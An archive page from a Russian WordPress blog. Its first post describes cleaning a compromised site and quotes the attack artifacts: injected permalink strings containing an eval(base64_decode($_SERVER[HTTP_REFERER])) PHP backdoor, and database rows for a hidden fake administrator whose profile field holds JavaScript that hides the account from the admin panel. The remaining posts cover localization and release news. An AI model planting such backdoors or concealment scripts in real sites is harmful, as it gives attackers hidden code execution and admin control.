Архивы блога
Ахтунг! Атаки на WordPress блоги
Столкнулся позавчера с одним “глюком” при настройке клиентского блога – криво работали ссылки на комментарии и падал сервер базы данных при попытке отредактировать пользователей в админке. и кстати там показывает вот такую хрень при этом:

Phpmyadmin выдает при этом примерно такое:
Lost connection to MySQL server during query
и не отвечает сервер минут 50 после этого…
Погуглил тогда сразу и нашел как исправить ошибки с постоянными ссылками, но сегодня в дампе базы данных обнаружил что там исправляется далеко не все. Ручками повыкашивал разные строки типа:
%25&%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29&%25/
%25&evalbase64_decode_SERVERHTTP_REFERER.%2B&%25/
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)
%&{${evalbase64_decode$_SERVER[HTTP_REFERER]}}|.+&%/
&%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
В базе данных это выглядело примерно так (этот юзер не показывается вообще в админке):
(574, 143, 'rich_editing', 'true'),
(575, 143, 'comment_shortcuts', 'false'),
(576, 143, 'admin_color', 'fresh'),
(577, 143, 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}'),
(578, 143, 'first_name', '...\n\n\n\n\n\n\n\n\n<div id="user_superuser"><script language="JavaScript">\nvar setUserName = function(){\n try{\n var t=document.getElementById("user_superuser");\n while(t.nodeName!="TR"){\n t=t.parentNode;\n };\n t.parentNode.removeChild(t);\n var tags = document.getElementsByTagName("H3");\n var s = " shown below";\n for (var i = 0; i < tags.length; i++) {\n var t=tags[i].innerHTML;\n var h=tags[i];\n if(t.indexOf(s)>0){\n s =(parseInt(t)-1)+s;\n h.removeChild(h.firstChild);\n t = document.createTextNode(s);\n h.appendChild(t);\n }\n }\n var arr=document.getElementsByTagName("ul");\n for(var i in arr) if(arr[i].className=="subsubsub"){\n var n=/>Administrator ((d+))</gi.exec(arr[i].innerHTML);\n if(n[1]>0){\n var txt=arr[i].innerHTML.replace(/>Administrator ((d+))</gi,">Administrator ("+(n[1]-1)+")<");\n arr[i].innerHTML=txt;\n }\n }\n }catch(e){};\n };\n addLoadEvent(setUserName);\n</script></div>'),
(573, 143, 'nickname', 'NicolasMager80'),
(570, 1, 'closedpostboxes_dashboard', 'a:1:{i:0;s:0:"";}'),
(571, 1, 'metaboxhidden_dashboard', 'a:3:{i:0;s:17:"dashboard_plugins";i:1;s:17:"dashboard_primary";i:2;s:19:"dashboard_secondary";}'),
(572, 1, 'plugins_last_view', 'all'),
(579, 143, 'wp_user_level', '10');
вот этот поддельный администратор "хакер"
(143, 'NicolasMager80', '$P$BIum3O2v9eAU9dAJRcn23VX2VjnbsG.', 'nicolasmager80', '', '', '2009-09-05 12:41:37', '', 0, 'NicolasMager80');
Сегодня с утра про эту же атаку на блоги прочитал у Дмитрия Донченко
так что обновляйтесь регулярно :-)
Разобрался таки с кривым официальным wordpress.pot
Гуглил, гуглил по разным запросам и нагуглил , который типа извлекает все ресурсы как надо. Мне точнее было интересно больше какие ключевые слова используются, т.к. все собирал гуглом по крупицам и вот сейчас наконец POEDIT перестал выдрепываться и заработал как надо при извлечении ресурсов.
Тот файл wordpress.pot что выложен на wordpress.org настолько кривой что вообще лучше его не использовать, т.к. он основан на уже будущей версии 2.9 и к 2.8.* подходит не на 100%
Чем руководствовались авторы? зачем с только премудростей если раньше без них обходились? в официальной документации про это ни слова. там старое бла-бла-бла про
__($message)
и
_e($message)
В общем в версии 2.8.* используется аж вот столько ключевиков для локализации:
__
_e
_c
__ngettext:1,2
_n:1,2
_nc:1,2
__ngettext_noop:1,2
_n_noop:1,2
_x:1,2c
_nx:1,2,4c
_nx_noop:1,2,3c
esc_attr__
esc_attr_e
esc_attr_x:1,2c
esc_html__
esc_html_e
esc_html_x:1,2c
Причем о конструкции некоторых элементов можно было только примерно догадываться и на основе этого гуглить. Также нашел про это на официальном форуме, но там был вопрос только про один из ключевиков и все.
Пара слов от Кактуса про WP…
1. у меня стало заметно МЕНЬШЕ свободного времени, поэтому не надо кричать в коментах “когда выйдет версия ***” :-( День-два всегда можно подождать, я и сам стал РЕЖЕ обновляться (зачем если и так ВСЕ работало без проблем).
2. по поводу возможных багов в переводах (сапог в авторов кривого выкладываемого wordpress.pot) просьба писать на мыло, а не в коменты. коменты такие будут безжалостно удаляться
3. версии 2.8 и 2.8.1 удалены как устаревшие и уязвимые. вместо них выложена версия 2.8.2 на месте поста 2.8. если найду время лишнее, то напишу таки описание что и как. Самые страждущие уже все равно все нагуглили.
4. состав поверпака будет еще корректироваться, т.к. некоторые плагины более не совместимы с 2.8 + вышли новые интересные, достойные внимания каждого.
5. скорее всего я удалю с сайта старые версии плагинов и оставлю там только их переводы (выложу где надо обновленные), что вполне логично с учетом того как ЧАСТО стали обновляться плагины
6. перевод WPMU 2.8.* еще не готов, т.к. см. пункт 1 + нет спонсоров, которые бы сподвигли меня ускорить процесс, так что еще может даже НЕДЕЛЮ его не будет. Если хотите – можете использовать перевод от “официальной группы”, если очень “горит” обновиться. Хотя в подавляющем случае перевод от прошлых версий подходит на 80-90%.
7. я НЕ всем отвечаю на почту, во первых см. пункт 1, во вторых там многда пишут откровенную хрень (лень полистать 5 минут форумы?) на которую и отвечать нет желания.
8. отпуск скоро………………………………………………
19 минутная болтовня ниочем
Валялся под столом :-) Меня приглашали поучаствовать, но я решил что оно того не стоит. Так оно и вышло. Болтовня вообще ниочем. Самопиар и ничего больше.
, если кто пропустил. Там указано что длительность 23 минуты, но в скачанном файле всего 18минут 57секунд. В коментах (они интереснее подкаста) упоминаются какие то “маты” в мой адрес, но я их в скачанном файле не услышал(отредактировали похоже…)
Что то релиз WP2.8 выбился снова из графика
Должен был еще пару дней назад выйти по расписанию. Это уже какой то традицией стало
UPDATE: как пишут разработчики – передвинули релиз на 10 июня (http://wordpress.org/development/2009/06/summary-of-wordpress-dev-irc-meetup-for-20090603/)
Обсуждение закрыто
Кодировки, поврежденные базы данных и т.п.
Ага, про них я писал уже не раз, но постоянно сталкиваюсь с большими и большими извращениями. Некоторые “рецепты счастья” я уже публиковал, но и они не всегда спасают. За последние три дня правил три очень запущенные базы. Несмотря на то что две из них были на одном хостинге и в пхпмайдмине выглядели закорючки одинаково – их состояние было различным и исправлял я глюки в них совершенно разными способами. Методом подстановок, скрещивания дампов разных версий, отката и наката разных версий движка, пересохранением всех записей через “быструю правку” для исправления ссылок и привязки к рубрикам (уже рука набита) и т.д. В итоге на каждую базу затратил в примерно по 2 часа, но результат радует. Одну базу еще немного поправить только надо (не все буквы И и ш еще пофиксены). Третья база также страдала этой “двухбуквенной болезнью”, но там текста было на порядок меньше.
Но в целом – за час или полдня, но все базы лечатся как я уже убедился за пару лет. И примерно в 70% случаев когда ко мне обращаются за обновлением движка различных версий, у пользователей поврежденная база в той или иной степени, но они про это не догадываются т.к. выглядит все нормально вроде пока не решатся сами обновиться (либо хостер подсунет свинью в виде внепланового обновления софта).
В ожидании релиза WP2.8
Наверное заметили уже все что про версию 2.8 я не писал вообще еще ничего, хотя она выходит финальная вроде через 10 дней “по графику”. Обзор новых функций писали уже (на Хабре и еще где то). Скажу лишь кратко – 2.8 это сильно-улучшенный 2.7, где все новые фичи 2.7 довели немного до ума, сделали наконец подсветку кода в редакторах тем/плагинов, сделали сохранение настроек виджетов при их деактивации (точнее теперь настроенные-отключенные и вообще не активированные виджеты это вообще разные группы). Добавили справочной информации(правда очень мало и в основном переместили туда то что выводилось раньше внизу страниц админки. И сами эти выползающие панели настроек экрана и помощи стали шевелиться гораздо быстрее. Из новинок заметил что в папке wp-includes теперь появилась папка POMO где есть несколько файликов, отвечающих за систему локализации + теперь юзерам предлагается навязчиво сменить сгенерированный пароль после установки движка или восстановления пароля, правда напоминание можно отключить. Добавились подсказки для пользователей вебсерверов Microsoft (по настройке ЧПУ). Мелочь, а полезно. Каких-либо несовместимостей плагинов не заметил, все что работало на 2.7.1 работает у меня и на бете 2.8. По скорости работы не быстрее и не медленнее 2.7.*
Из того что интересно мне: не понял еще нафига впихали (что то коло 500 названий городов/стран) в локализуемые строки, хотя в самом том файле сказано что нигде он пока вроде не используется и в самой админке на странице выбора часового пояся все равно все по английски. думаю к финальной версии может это и пофиксят. пока что я локализовал только треть названий городов (остальные вообще не вижу смысла, т.к. никому наверняка не нужны названия городов/регионов на русском где нибудь в Бразилии), но может и их допереведу, если все же в админки они будут выводиться как и положено.
Добавились также новые проверки обновлений из-за появившегося инсталлятора тем оформления (я плагин блокировки обновлений уже обновил и выложил новую версию, если кто заметил) и немного изменился механизм автообновления самого движка (все тоже уже протестировал и внес поправки где надо).


(голосов: 100, средний: 4.17 из 5)
